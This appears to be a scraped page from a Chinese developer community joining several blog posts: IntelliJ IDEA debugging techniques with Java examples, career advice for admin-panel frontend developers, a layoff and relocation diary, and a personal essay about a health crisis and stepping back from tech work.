其实,打断点不丢脸,丢脸的是工作若干年后只知道最基础的断点调试!大明哥就见过有同事因为 for 循环里面实体对象报空指针异常,不知道怎么调试,选择一条一条得看,极其浪费时间!!所以,大明哥来分享一些 debug 技巧,赶紧收藏,日后好查阅!!


Debug 分类


对于很多同学来说,他们几乎就只知道在代码上面打断点,其实断点可以打在多个地方。


行断点


行断点的投标就是一个红色的圆形点。在需要断点的代码行头点击即可打上:



方法断点


方法断点就是将断点打在某个具体的方法上面,当方法执行的时候,就会进入断点。这个当我们阅读源码或者跟踪业务流程时比较有用。尤其是我们在阅读源码的时候,我们知道优秀的源码(不优秀的源码你也不会阅读)各种设计模式使用得飞起,什么策略、模板方法等等。具体要走到哪个具体得实现,还真不是猜出来,比如下面代码:


public interface Service {
void test();
}

public class ServiceA implements Service{
@Override
public void test() {
System.out.println("ServiceA");
}
}


public class ServiceB implements Service{
@Override
public void test() {
System.out.println("ServiceB");
}
}


public class ServiceC implements Service{
@Override
public void test() {
System.out.println("ServiceC");
}
}


public class DebugTest {
public static void main(String[] args) {
Service service = new ServiceA();
service.test();
}
}

在运行时,你怎么知道他要进入哪个类的 test() 方法呢?有些小伙伴可能就会在 ServiceAServiceBServiceC 中都打断点(曾经我也是这么干的,初学者可以理解...),这样就可以知道进入哪个了。其实我们可以直接在接口 Servicetest() 方法上面打断点,这样也是可以进入具体的实现类的方法:



当然,也可以在方法调用的地方打断点,进入这个断点后,按 F7 就可以了。


属性断点


我们也可以在某个属性字段上面打断点,这样就可以监听这个属性的读写变化过程。比如,我们定义这样的:


@Getter
@Setter
@AllArgsConstructor
public class Student {

private String name;

private Integer age;
}

public class ServiceA implements Service{
@Override
public void test() {
Student student = new Student("张三",12);

System.out.println(student.getName());

student.setName("李四");
}
}

如下:



断点技巧


条件断点


在某些场景下,我们需要在特定的条件进入断点,尤其是 for 循环中(我曾经在公司看到一个小伙伴在循环内部看 debug 数据,惊呆我了),比如下面代码:


public class DebugTest {

public static void main(String[] args) {
List<Student> studentList = new ArrayList<>();
for (int i = 1 ; i < 1000 ; i++) {
if (new Random().nextInt(100) % 10 == 0) {
studentList.add(new Student("" + i, i));
} else {
studentList.add(new Student("" + i, i));
}
}

for (Student student : studentList) {
System.out.println(student.toString());
}
}
}

我们在 System.out.println(student.toString()); 打个断点,但是要 name"skjava" 开头时才进入,这个时候我们就可以使用条件断点了:



条件断点是非常有用的一个断点技巧,对于我们调试复杂的业务场景,尤其是 for、if 代码块时,可以节省我们很多的调试时间。


模拟异常


这个技巧也是很有用,在开发阶段我们就需要人为制造异常场景来验证我们的异常处理逻辑是否正确。比如如下代码:


public class DebugTest {

public static void main(String[] args) {
methodA();

try {
methodB();
} catch (Exception e) {
e.printStackTrace();
// do something
}

methodC();
}

public static void methodA() {
System.out.println("methodA...");
}

public static void methodB() {
System.out.println("methodA...");
}

public static void methodC() {
System.out.println("methodA...");
}
}

我们希望在 methodB() 方法中抛出异常,来验证 catch(Exception e) 中的 do something 是否处理正确。以前大明哥是直接在 methodB() 中 throw 一个异常,或者 1 / 0。这样做其实并没有什么错,只不过不是很优雅,同时也会有一个风险,就是可能会忘记删除这个测试代码,将异常提交上去了,最可怕的还是上了生产。


所以,我们可以使用 idea 模拟异常。



  • 我们首先在 methodB() 打上一个断点

  • 运行代码,进入断点处

  • 在 Frames 中找到对应的断点记录,右键,选择 Throw Execption

  • 输入你想抛出的异常,点击 ok 即可



这个技巧在我们调试异常场景时非常有用!!!


多线程调试


不知道有小伙伴遇到过这样的场景:在你和前端进行本地调试时,你同时又要调试自己写的代码,前端也要访问你的本地调试,这个时候你打断点了,前端是无法你本地的。为什么呢?因为 Idea 在 debug 时默认阻塞级别为 ALL,如果你进入 debug 场景了,idea 就会阻塞其他线程,只有当前调试线程完成后才会走其他线程。


这个时候,我们可以在 View Breakpoints 中选择 Thread,同时点击 Make Default设置为默认选项。这样,你就可以调试你的代码,前端又可以访问你的应用了。



或者



调试 Stream


Java 中的 Stream 好用是好用,但是依然有一些小伙伴不怎么使用它,最大的一个原因就是它不好调试。你利用 Stream 处理一个 List 对象后,发现结果不对,但是你很难判断到底是哪一行出来问题。我们看下面代码:


public class DebugTest {

public static void main(String[] args) {
List<Student> studentList = new ArrayList<>();
for (int i = 1; i < 1000; i++) {
if (new Random().nextInt(100) % 10 == 0) {
studentList.add(new Student("" + i, i));
} else {
studentList.add(new Student("" + i, i));
}
}

studentList = studentList.stream()
.filter(student -> student.getName().startsWith(""))
.peek(item -> {
item.setName(item.getName() + "-**");
item.setAge(item.getAge() * 10);
}).collect(Collectors.toList());
}
}

在 stream() 打上断点,运行代码,进入断点后,我们只需要点击下图中的按钮:




在这个窗口中会记录这个 Stream 操作的每一个步骤,我们可以点击每个标签来看数据处理是否符合预期。这样是不是就非常方便了。


有些小伙伴的 idea 版本可能过低,需要安装 Java Stream Debugger 插件才能使用。


操作回退


我们 debug 调试的时候肯定不是一行一行代码的调试,而是在每个关注点处打断点,然后跳着看。但是跳到某个断点处时,突然发现有个变量的值你没有关注到需要回退到这个变量值的赋值处,这个时候怎么办?我们通常的做法是重新来一遍。虽然,可以达到我们的预期效果,但是会比较麻烦,其实 idea 有一个回退断点的功能,非常强大。在 idea 中有两种回退:



  • Reset Frame


看下面代码:


public class DebugTest {

public static void main(String[] args) {
int a = 1;
int b = 2;
int c = (a + b) * 2;

int d = addProcessor(a, b,c);

System.out.println();
}

private static int addProcessor(int a, int b, int c) {
a = a++;
b = b++;
return a + b + c;
}
}

我们在 addProcessor()return a + b + c; 打上断点,到了这里 ab 的值已经发生了改变,如果我们想要知道他们两的原始值,就只能回到开始的地方。idea 提供了一个 Reset Frame 功能,这个功能可以回到上一个方法处。如下图:




  • Jump To Line


Reset Frame 虽然可以用,但是它有一定的局限性,它只能方法级别回退,是没有办法向前或向后跳着我们想要执行的代码处。但 Jump To Line 可以做到。


Jump To Line 是一个插件,所以,需要先安装它。



由于大明哥使用的 idea 版本是 2024.2,这个插件貌似不支持,所以就在网上借鉴了一张图:



在执行到 debug 处时,会出现一个黄颜色的箭头,我们可以将这个箭头拖动到你想执行的代码处就可以了。向前、向后都可以,是不是非常方便。


目前这 5 个 debug 技巧是大明哥在工作中运用最多的,还有一个就是远程 debug 调试,但是这个我个人认为是野路子,大部分公司一般是不允许这么做的,所以大明哥就不演示了!


作者:大明哥_
来源:juejin.cn/post/7470185977434144778
收起阅读 »

只写后台管理的前端要怎么提升自己

本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。 写优雅的代码 一道面试题 大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单...
继续阅读 »

本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。


写优雅的代码


一道面试题


大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单位转换。具体的题目我忘记了。


原题目我没做过,但是我写的业务代码代码里有类似的单位转换,后端返回一个数字,单位是kb,而我要展示成 KBMB 等形式。大概写一个工具函数(具体怎么写的忘记了,不过功能比这个复杂点):


function formatSizeUnits(kb) {
let units = ['KB', 'MB', 'GB', 'TB', 'PB'];
let unitIndex = 0;

while (kb >= 1024 && unitIndex < units.length - 1) {
kb /= 1024;
unitIndex++;
}

return `${kb.toFixed(2)} ${units[unitIndex]}`;
}

而在此之前,是一个后端同学写的代码(说起来,后台管理系统前端人力不够后端帮忙写好像是常规操作,后端总觉得写前端简单,而我只能说你们那代码写的,一言难尽……),如下:


function formatSizeUnits(kb) {
var result = '';

if (kb < 1024) {
result = kb + ' KB';
} else if (kb < 1024 * 1024) {
result = (kb / 1024).toFixed(2) + ' MB';
} else if (kb < 1024 * 1024 * 1024) {
result = (kb / 1024 / 1024).toFixed(2) + ' GB';
} else {
result = (kb / 1024 / 1024 / 1024).toFixed(2) + ' TB';
}

return result;
}

虽然功能都一样,但是我写在面试的时候写了上面的代码得到了面试官的赞扬,也因此非常顺利的通过了面试。而如果我写成了下面的样子,估计不会有这种效果。


如何提升代码质量


想提升代码质量,最理想的是靠 code review ,但实际上这玩意在大多数公司根本就不存在。其次就只能多看看大佬们写的代码,但是一来后台管理本来就没太大难度很少有大佬,二来很多时候一个后台管理系统就一两个人负责。


还好现在有了各种 AI 工具,可以非常方便的优化自己的代码了。


还是上面的问题,看看 GPT 给的答案


// 提问:写一个工具函数,对文件大小的单位进行转换,加注释
// 回答:下面是一个JavaScript工具函数,它接受文件大小、初始单位、目标单位和小数位数,然后返回目标单位下的文件大小。

/**
* 将文件大小从一个单位转换为另一个单位。
*
* @param {number} size 文件大小。
* @param {string} fromUnit 初始单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {string} toUnit 目标单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {number} [decimalPoint=2] 结果保留的小数位数,默认为2。
* @return {string} 转换后的文件大小,带单位。
*/

function convertFileSize(size, fromUnit, toUnit, decimalPoint = 2) {
// 定义单位与字节之间的转换关系
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
// 获取初始单位和目标单位的索引
const fromIndex = units.indexOf(fromUnit);
const toIndex = units.indexOf(toUnit);

// 如果单位不在列表中,抛出错误
if (fromIndex === -1 || toIndex === -1) {
throw new Error('Invalid units');
}

// 计算初始单位与目标单位之间的转换系数
const exponent = toIndex - fromIndex;
// 计算结果大小
const resultSize = size / Math.pow(1024, exponent);

// 返回格式化后的结果
return parseFloat(resultSize.toFixed(decimalPoint)) + ' ' + toUnit;
}

// 示例使用
console.log(convertFileSize(1, 'GB', 'MB')); // 输出: 1024.00 MB
console.log(convertFileSize(1, 'MB', 'KB')); // 输出: 1024.00 KB
console.log(convertFileSize(1, 'KB', 'B')); // 输出: 1024.00 B
console.log(convertFileSize(1, 'MB', 'GB', 5)); // 输出: 0.00098 GB

还能说什么,我只能说 NB!(经评论区提示,此段代码可能有问题,建议大家在使用AI工具时,重点是借鉴思路,直接使用代码需要谨慎~)


我现在每次写大段逻辑之后都习惯拿给 AI 看看,有什么更好的实现方式,或者用什么设计模式。AI 是非常低成本且高效提升代码质量的工具。


学会封装


一个功能用到了好多次,为什么不封装成组件?一个组件用到了好几个项目,为什么不单独写个npm包?差不多的项目创建了好几个,为什么不封装成脚手架?


你说,没时间,没必要,复制粘贴反而更快。


那你就完全没理解,这么做不一定是为了让工作更快完成,而是可以让你在年年终述职时更有话说(你就算写了一百个表单表格没有写一个脚手架更值得炫耀),如果不会写可以问问 AI。


而当你真正开始封装组件,开始写工具库了,你会发现你需要思考的确实比之前多了。


关注业务


对于前端业务重要吗?


相比于后端来说,前端一般不会太关注业务。就算出了问题大部分也是后端的问题。


但是就我找工作的经验,业务非常重要!


如果你做的工作很有技术含量,比如你在做低代码,你可以面试时讲一个小时的技术难点。但是你只是一个破写后台管理,你什么都没有的说。这个时候,了解业务就成为了你的亮点。


一场面试


还是拿真实的面试场景举例,当时前同事推我字节,也是我面试过N次的梦中情厂了,刚好那个组做的业务和我之前呆的组做的一模一样。



  • 同事:“做的东西和咱们之前都是一样的,你随便走个过场就能过,我在前端组长面前都夸过你了!”

  • 我:“好嘞!”


等到面试的时候:



  • 前端ld:“你知道xxx吗?(业务名词)”

  • 我:“我……”

  • 前端ld:“那xxxx呢?(业务名词)”

  • 我:“不……”

  • 前端ld:“那xxxxx呢??(业务名词)”

  • 我:“造……”


然后我就挂了………………


如何了解业务



  1. 每次接需求的时候,都要了解需求背景,并主动去理解


    我们写一个表格简简单单,把数据展示出来就好,但是表格中的数据是什么意思呢?比如我之前写一个 kafka 管理平台,里面有表格表单,涉及什么 cluster controller topic broker partition…… 我真的完全不了解,很后悔我几年时间也没有耐下心来去了解。


  2. 每次做完一个需求,都需要了解结果


    有些时候,后台管理的团队可能根本没有PM,那你也要和业务方了解,这个功能做了之后,多少人使用,效率提高了吗?数据是怎样的?


  3. 理解需求,并主动去优化


    产品要展示一千条数据,你要考虑要不要分页,不分页会不会卡,要不要上虚拟表格?


    产品要做一个可拖拽表单,你要考虑是否需要拖动,是否需要配置。


    其实很多时候,产品的思维可能会被局限在竞品的实现方式,而前端可以给TA更多选项。在和产品沟通的时候,你不仅是沟通页面的实现,也更能理解业务。



关注源码


说到源码, Vue,React 这些基本是每次必问,也有太多大佬们的总结我就不多说了。


除此之外,我想大家每次面试应该都会被问,你写了什么亮点的项目,困难的项目,你会说什么?哦,都是表单表格,都用 Element UI 实现的,没什么难度。那估计你面试也就到这里了。


那说什么,后台管理就这些啊?!


如果你用了 Element UI 你可以说写了什么自定义 Element UI 表单组件,Element UI 表单源码是什么原理,怎么通信的?用了 Axios 可以说 Axios 的原理,它的拦截器怎么实现的?用了编辑器 diff 那你知道 diff 算法是什么吗?用了 ECharts 那你知道他底层是用什么绘制的吗?用了 husky ?husky的原理是什么?用了Vite,它为什么快?是怎么打包的?写过插件吗?


可能有人觉得我离谱,事实上上面每一个问题都是我在面试中真实被问到的。当然,如果全部去了解,肯定不现实,每个人的精力有限,不可能每个用到的每个工具每个库都去了解原理,不过只要有一两个你去了解过,就可以在面试中引导面试官来问,要学会表现出你擅长的点


至于怎么读源码?以前我不知道,现在嘛…… 为什么不问问神奇的 ChatGPT 呢?



讲一下 Axios 源码中,拦截器是怎么实现的?


Axios 的拦截器实现基于 Axios 的核心原理,即 Axios 实例是一个包含请求和响应拦截器堆栈的对象。当发出请求或接收响应时,Axios 会遍历这些拦截器,并按照添加的顺序执行请求拦截器,以及按照相反的顺序执行响应拦截器。


在 Axios 的源码中,拦截器是通过一个 AxiosInterceptorManager 实例来管理的,它维护了一个拦截器数组。每个拦截器都是一个包含 fulfilledrejected 函数的对象。这两个函数分别对应于拦截器成功处理和拦截器处理出错的情况。


以下是 Axios 拦截器管理器的一个简化版本,展示了其核心实现思路:


class InterceptorManager {
constructor() {
this.handlers = []; // 存储拦截器的数组
}

use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1; // 返回拦截器的ID
}

eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null; // 移除拦截器
}
}

forEach(fn) {
this.handlers.forEach((h) => {
if (h !== null) {
fn(h);
}
});
}
}

在发送请求或接收响应时,Axios 会创建一个 promise 链,并通过 forEach 方法将拦截器中的 fulfilledrejected 函数添加到这个链中。这样,每个拦截器都可以对请求或响应进行处理,然后将结果传递到链的下一个拦截器,或者在出错时结束链的执行。


axios.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});

axios.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});

在 Axios 的完整实现中,这个拦截器机制被集成到了 Axios 的请求发送和响应处理流程中。通过这种方式,Axios 可以在发送请求之前和接收响应之后,但在用户定义的 .then.catch 执行之前,插入自定义的逻辑。


请注意,这里提供的代码只是为了说明 Axios 拦截器的实现原理,并不是 Axios 源码的完整复制。如果你对 Axios 的拦截器实现细节感兴趣,建议查看 Axios 的官方 GitHub 仓库中的源码。



前端基建


当我们工作时间久了面试难免会遇到这些问题,前端工程化,前端监控,工作流,部署,性能等等。其实我们在工作中绝大部分时间都在写代码,对于这些不是所有人都有机会接触到,不过这些和所做的业务无关,是我们提升自己很好的一个思路。


技术选型


技术栈选 Vue 还是 React?Vue 选 Vue2 还是 Vue3?组件库选 ElementUI 还是 Ant Design?微前端有没有使用过?打包工具用 Vite 还是 Webpack?有那么多表单怎么实现的,有没有什么表单配置化方案,比如Formily?


对于我这种菜鸡,我这种只写简单的表单表格的人,这些都……无所谓……


image.png

不过为了应对面试我们还是需要了解下未选择技术栈的缺点,和已选择技术栈的优点(有点本末倒置…但是常规操作啦)


Vue 你可以说简单高效轻量级,面试必会问你为什么,你就开始说 Vue 的响应式系统,依赖收集等。


React 你可以说 JSX、Hooks 很灵活,那你必然要考虑 JSX 怎么编译, Hooks 实现方式等。


总体而言,对于技术选型,依赖于我们对所有可选项的理解,做选择可能很容易,给出合理的理由还是需要花费一些精力的。


开发规范


这个方面,在面试的时候我被问到的不多,我们可以在创建项目的时候,配置下 ESlintstylelintprettiercommitlint 等。


前端监控


干了这么多年前端,前端监控我是……一点没做过。


image.png

前端监控,简单来说就是我们在前端程序中记录一些信息并上报,一般是错误信息,来方便我们及时发现问题并解决问题。除此之外也会有性能监控,用户行为的监控(埋点)等。之前也听过有些团队分享前端监控,为了出现问题明确责任(方便甩锅)。


对于实现方案,无论使用第三方库还是自己实现,重要的都是理解实现原理。


对于错误监控,可以了解一下 Sentry,原理简单来说就是通过 window.onerrorwindow.addEventListener('unhandledrejection', ...) 去分别捕获同步和异步错误,然后通过错误信息和 sourceMap 来定位到源码。


对于性能监控,我们可以通过 window.performancePerformanceObserver 等 API 收集页面性能相关的指标,除此之外,还需要关注接口的响应时间。


最后,收集到信息之后,还要考虑数据上报的方案,比如使用 navigator.sendBeacon 还是 Fetch、AJAX?是批量上报,实时上报,还是延迟上报?上报的数据格式等等。


CI/CD


持续集成(Continuous Integration, CI)和 持续部署(Continuous Deployment, CD),主要包括版本控制,代码合并,构建,单测,部署等一系列前端工作流。


场景的工作流有 Jenkins、 Gitlab CI 等。我们可以配置在合并代码时自动打包部署,在提交代码时自动构建并发布包等。


这块我了解不多,但感觉这些工具层面的东西,不太会涉及到原理,基本上就是使用的问题。还是需要自己亲自动手试一下,才能知道细节。比如在 Gitlab CI 中, Pipeline 、 Stage 和 Job 分别是什么,怎么配置,如何在不同环境配置不同工作流等。


了解技术动态


这个可能还是比较依赖信息收集能力,虽然我个人觉得很烦,但好像很多领导级别的面试很愿意问。


比如近几年很火的低代码,很多面试官都会问,你用过就问你细节,你没用过也会问你有什么设计思路。


还有最近的两年爆火的 AI,又或者 Vue React的最新功能,WebAssembly,还有一些新的打包工具 Vite Bun 什么的,还有鸿蒙开发……


虽然不可能学完每一项新技术,但是可以多去了解下。


总结


写了这么多,可能有人会问,如果能回到过去,你会怎么做。


啊,我只能说,说是一回事,做又是另一回事,事实上我并不希望回到过去去卷一遍,菜点没关系,快乐就好,一切都是最好的安排。


image.png

作者:我不吃饼干
来源:juejin.cn/post/7360528073631318027
收起阅读 »

准备离开杭州

上个月的时候,我被公司裁掉了,陆陆续续找了 1 个月的工作,没有拿到 1 份 Offer,从网上看着各式各样的消息和自己的亲身体会,原来对于像我这样的普通打工族,找工作是如此的难。我相信,任何时候只要实力强,都能有满意的工作,但我不知道,能达到那样的水平还需要...
继续阅读 »

上个月的时候,我被公司裁掉了,陆陆续续找了 1 个月的工作,没有拿到 1 份 Offer,从网上看着各式各样的消息和自己的亲身体会,原来对于像我这样的普通打工族,找工作是如此的难。我相信,任何时候只要实力强,都能有满意的工作,但我不知道,能达到那样的水平还需要多久。


本人是前端,工作 6 年,期间经历过 4 家公司,前两份是外包,后面两份都是领大礼包走的,回想起来,职业生涯也是够惨的。虽然说惨,但是最近领的这一份大礼包个人认为还是值得,工作很难待下去,也没有任何成长,继续待着也是慢性死亡。


这几天我每天都会在 BOSS 上面投十几家公司,能回复非常少,邀请面试的就更少了。外包公司倒是挺多的,而我是从那个火坑里出来的,是不会选择再进去的。于是,我需要做好打持久战的准备,说不定不做程序员了。


我的房子 7 月底就要到期了,我必须要马上做决定,杭州的行情对我来说很不友好,短期内我大概率找不到工作。基于对未来的悲观考虑,我不想把过多的钱花费在房租上面,所以希望就近找一个三线城市,我搜了一下嘉兴,整租 95 平左右的房子只需要 1200 块钱,还是民用水电,思前想后,打算移居到那里嘉兴去。


一方面,我想尝试一下在三线城市生活是一种什么感觉。另一方面,这可以省钱,如果一个月的房租是 1000,民用水电,一个月的开销只要 2500 块。我搜索了一下货拉拉,从我的位置运到嘉兴,需要花费 600 块钱,这个价格也是可以接受的。思考了这些,我觉得是时候离开待了 5 年的杭州。


未来要到哪里去呢,目前可能的选择是上海。我还得想想未来能做什么,我想学一门手艺傍身,比如修理电器、炒菜。毕竟骑手行业太拥挤了,估计也不是长久之计。


房租降下来了,等我把行李都安置妥当,我打算回老家待一段时间。自从上大学以来,很少有长时间待在家里的时候,眼看父母年纪也越来越大了,很想多陪陪他们。如果进入正常的工作节奏,想做到这样还是会受到局限,这次也算是一个弥补的机会。


被裁也是一件好事,可以让我提前考虑一下未来的出路。


这段时间我想把时间用来专门学英语,再自己做几个项目,学英语的目的是为了 35 岁之后做打算,做项目是为了写到简历上面,并且个人觉得自己需要多做一个项目,这样自己才能成长到下一个级别。虽然不知道收益怎么样,但是我想尝试一下。人还活着,有精力,就还是瞎折腾一下。


离职没敢和家里说,说了估计要担心死了,反正是年轻人,有事就先自己扛一扛,我前几天把我的行李寄回去了一批,我妈问我,怎么,寄东西回来了?我回答说要搬家了。本来也想找机会开口说自己离职了,她说,这次搬家也别离公司远了,我也把话憋了进去,只好说“没事的,放心就行”。我自己没觉得离职有什么,正常的起起落落,只是觉得父母可能会过度的担心。


如果做最坏的打算,那就是回去种地,应该这几年还饿不死。有还没离职的同学,建议还是继续苟着。希望社会的低谷期早点过去,希望我们都能有美好的未来。


评论区很多朋友想要拉一个群相互交流,现在拉好了!一起来吐槽工作,交流找工作心得!


image.png


目前是 6 群,刚开始人会比较少,过一段时间就多了,稍安勿躁。群过期了可能更新不及时,在微信搜索 mysteryven,私聊问我想加 1-6 的哪一个,我会同步给你。


更新:发展到现在,几个群活跃度都变得不是很高了,目前只是一个聊天的群,不会有什么高质量的信息。如果不是想摸鱼或者什么的,不需要加入此群。有的时候我可能忘记更新二维码,可以留言提醒我~


下一篇文章:从大城市搬到小城市需要注意哪些点?


作者:mysteryven
来源:juejin.cn/post/7395523104743178279
收起阅读 »

2年前的今天,我决定了躺平退休

两年前的这个时候,突然觉得说话特别费劲,舌头不太听使唤,左手突然不听话,就像李雪健老师表演那个帕金森老头喝酒一样。 我心里一慌,请假去了医院,验血,CT,超声。然后医生给我列了长长一篇诊断书:高血脂,高血压,糖尿病,冠心病,还有最可怕的脑出血,还好只是渗血,...
继续阅读 »

两年前的这个时候,突然觉得说话特别费劲,舌头不太听使唤,左手突然不听话,就像李雪健老师表演那个帕金森老头喝酒一样。


image.png


我心里一慌,请假去了医院,验血,CT,超声。然后医生给我列了长长一篇诊断书:高血脂,高血压,糖尿病,冠心病,还有最可怕的脑出血,还好只是渗血,虽然并不是很严重,但是位置不太好,影响了身体感官和左手。


平时身体非常好,也经常运动,为什么会突然得这么多病呢。毫无征兆的左手就不听使唤了。而且听力在这一段时间也非常差。通过大夫诊断,一部分是遗传因素,另一个是和我常年酗酒,熬夜有关,每天几乎只睡3-4小时。


是的,,,,,,我喜欢在家喝着啤酒写代码,甚至有时候在单位加班的时候也是喝啤酒写代码。和别人不太一样,别人喝酒爱睡觉,我喝啤酒失眠。因为接了很多项目,上班之余都是晚上和周末熬夜写代码做自己的项目。


其实听到这个消息我很失望,失望的并不是因为身体垮了,钱还没赚够,而是我还没有完成我的目标就是打造一个自己主导的产品。


那天从医院回家,我并没有去坐地铁,而是从中日友好医院徒步走回天通苑的出租屋。在路上,我反复的想,今后的路该如何走。


继续在互联网行业工作肯定是不行的,病情会进一步加重,到时候就真的成一个废人了,反而会拖累整个家庭。如果不继续“卷”那我也就无法实现自己来北京的目标了。不过好在经过这么多年的积累,已经存够足够养老的资本,并不需要为妻儿老小的生存发愁,但是也没有到财富自由的程度。


躺平,躺到儿子回老家上学就回老家退休。这是一个并不那么困难的决定。但是却是一个非常无奈的决定,躺平就意味着自己来北京定下的目标没有完成,意味着北漂失败。


做好这个决定以后,我就开始彻底躺平,把手里的几个项目草草收尾,赔了大几十万。等于这一年白忙活。好在还有一份工作收入。同时也拒掉了2个新的Offer。在疫情最困难的时候,还能拿到两个涨薪offer。我还是蛮佩服我自己的。但是为了不影响我的额外收入,加上现在工作不是很喜欢,也就一直犹豫不决。但是这次生病彻底让我下定了决定 ---- 算了。


其实,经历这么多年,什么都看的很清楚,但是我的性格并不适合这个行业,我这个人最大的特点就是腰杆子硬,不喜欢向上管理,经常有人说我那么圆滑,肯定是老油条,而实际上,我整整18年的工作经历,只对领导说过一次违心的话,变相的夸了老板定制的开发模式,老板看着我笑了笑,也不知道他是不是听出来我这话是讽刺还是撒谎。


而其余都是和老板对着干,只有2任老板是我比较钦佩的,也是配合最舒服的。而且共同特点都是百度出身,我特别喜欢百度系的老板。特别务实,认认真真做业务。不搞虚头巴脑的事情,更不在工作中弄虚作假。一个是滴滴的梁老板,另一个就是在途家时候的黄老板。


当然,在我整个职业生涯有很多厉害的老板,有的在人脉厉害,有的人个人管理能力,有的在技术。但是由于我性格原因,我就是跟他们合不来,所以要么你把我开了,要么等我找好下家主动离开。


所以我的职业生涯很不稳定,就比如我见过的一个我认为在技术能力上最厉害的老板,也是我唯一在技术上佩服的人,就是在36kr期间认识的海波老师,听他讲的系统架构分享和一些技术方案,真的是豁然开朗,在Saas和Paas的方方面面,架构演化,架构升级所可能遇到的各种问题及面对产品高速迭代所需要解决的问题及方案都门清,而且他本身也是自己带头写代码,实际编码能力也是非常的牛,并不是那种“口嗨”型领导。但就是我跟他的性格合不来,最后我把他那套架构方案摸透了以后就跑路了,而从他那里学的那套技术方案,在我日后在lowcode和Paas以及活动运营平台的技术方案设计上帮助颇多。而他不久之后也离开了。据说去了字节。


混迹于形形色色的老板手底下,遇到过的事情非常多,也让我认清了一点,那就是,牛人是需要平台去成就的,平台提供了锻炼你的机会和让你成长的机会。所以你学到了,你就成了牛人。而不是你自己手头那点沾沾自喜的觉得别人没你了解的深入的技术点。所以平台非常重要,绝大多数情况下都是如此。


所以我这种人就不适合,因为我不喜欢违心。我顶多就是不说出来,不参与,不直接反对就已经是对老板最大的尊重了。所以我能看透很多事情,但是也知道我不讨老板喜欢,而我的性格也不可能为了让老板喜欢而卑躬屈膝,所以,我早早就提前做好准备,就是拉项目,注意这不是做私活。拉项目就是承包项目,然后找几个做私活的人给他们开发。这项收入有时候甚至一年下来比我的工资还要高。风险也是有的,那就是可能赔钱,十几万十几万的赔。所以也是一个风险与收益共存的事情。做项目的好处是,你可以不断的接触新的甲方,扩张自己的人脉,也就不断的有项目。


但是由于这次生病,我手头的3个项目都没有做好,都被清场了。所以为了弥补朋友的损失,我一个人扛下了所有。也同时意味着后面也就没项目可接了。身体不允许了。


躺平以后,为了等孩子回老家上学,本职工作上,也开始混,我最后一年多的时间里,写代码,都不运行直接就提测。是的。没错。。。。。。就是这样。但是功能是都好用的,基本的职业操守是要有的。虽然也会有更多的bug。但是一周我只干半天就可以完成一周的工作。这可能就是经验和业务理解的重要性。所以,我一直不太理解很多互联网企业精简人员的时候为什么精简的是一线开发人员,而留下的是那些只会指挥的小组长。这也是为什么各大互联网企业都在去肥增瘦,结果肥的一点也没减下去。


不是有那么一句话,P8找P7分一个需求,然后P7找P6喊来P5开发。互联网就是这样子,一群不了解实际业务和实际代码的人,在那里高谈阔论,聊方案,聊架构,聊产品,聊业务,聊客户,聊趋势,然后让那些一脸“懵逼”的人去开发。最后的结果可想而知,最后很多需求都是一地鸡毛,但是责任却都要一线执行去承担,而为了证明需求的正向收益,那就在指标口径上“合理”的动动手脚,所以我在我整个职业生涯说出了那么一次,也是唯一一次违心的恭维话。


所以我特别佩服一个网红叫“大圣老师”,是一个卖课的,虽然我看不上他做的割韭菜的事情,但是我很佩服他这个人,他也是很刚的人,就是看不惯老板pua和无意义的加班,人家就是不干了。成功开辟了第二职业曲线,而且也很不错。


另一个网红就是“神光”,虽然我也看不上他,但是我很佩服他,佩服他追求自我的勇气。


而反观那些在职场唯唯诺诺卑躬屈膝的人,现在过的如何呢?人啊。还是要有点个性。没个性的人下场都挺惨的。


峰回路转,人那,这一辈子就是命,有时候把,真的是你也不知道结果会是什么样,23年在我百无聊赖,闲的五脊六兽的时候,一周的工作基本上半天就干完了,所以一个机缘巧合,遇见了一群有意思的人。当时大模型正在风口浪尖。好多人都在大模型里面摸金,而有这么一群人,一群大学生,在海外对我们进行大模型技术封锁的时候,为了自己的初衷,建立了在问这个网站。


而作为起步比别人要晚,产品做的还很粗糙如何跟市场上的竞品竞争呢?而且不收费,更不打广告,完全靠赞助存活。但是这一切都是为了在国外封锁我国大模型技术背景下的那句话“让知识无界,智能触手可及”。站长原文


所以在同类起步更早,产品做的更精细的很多产品逐渐倒下去以后,zaiwen还活着。所以我觉得特别有意思,这种产品活下来的概率是非常低的,除非整个团队都是为爱发电,于是我也加入到这个团队。


事实上也确实这样,整个团队是有极少部分社会工作者和大部分在校大学生组成,而大家聚一起做这件事的初衷就是为了让知识无国界,让国内用户可以更方便的体验最先进的海外大模型技术。而目标用户,也都是学生,老师和科研工作者。


就这样在这里,我重新找回了自己的目标,虽然,由于资金问题,资源问题,以及我个人身体限制能做的事情很少,但是却发现,大家都做的非常有动力,产品也在不断的迭代不断的发展,并且还活的很好。团队的人在这里也干的很开心。


今天,正是两年前我诊断出脑出血的那天,心里没有低落,也没有失望,更没有懊悔,有的只是新的体验。人生啊,来这一世,就是来体验的,别难为自己。顺势而为,就像张朝阳说的那句话“年轻人挺不容易的,建议年轻人不要过度努力,太过拼搏的话(对身体)是有伤害的,年轻人得面对现实,这个世界是不公平的


作者:YaHuiLiang
来源:juejin.cn/post/7416168750364540940
收起阅读 »

自己没有价值之前,少去谈人情世故

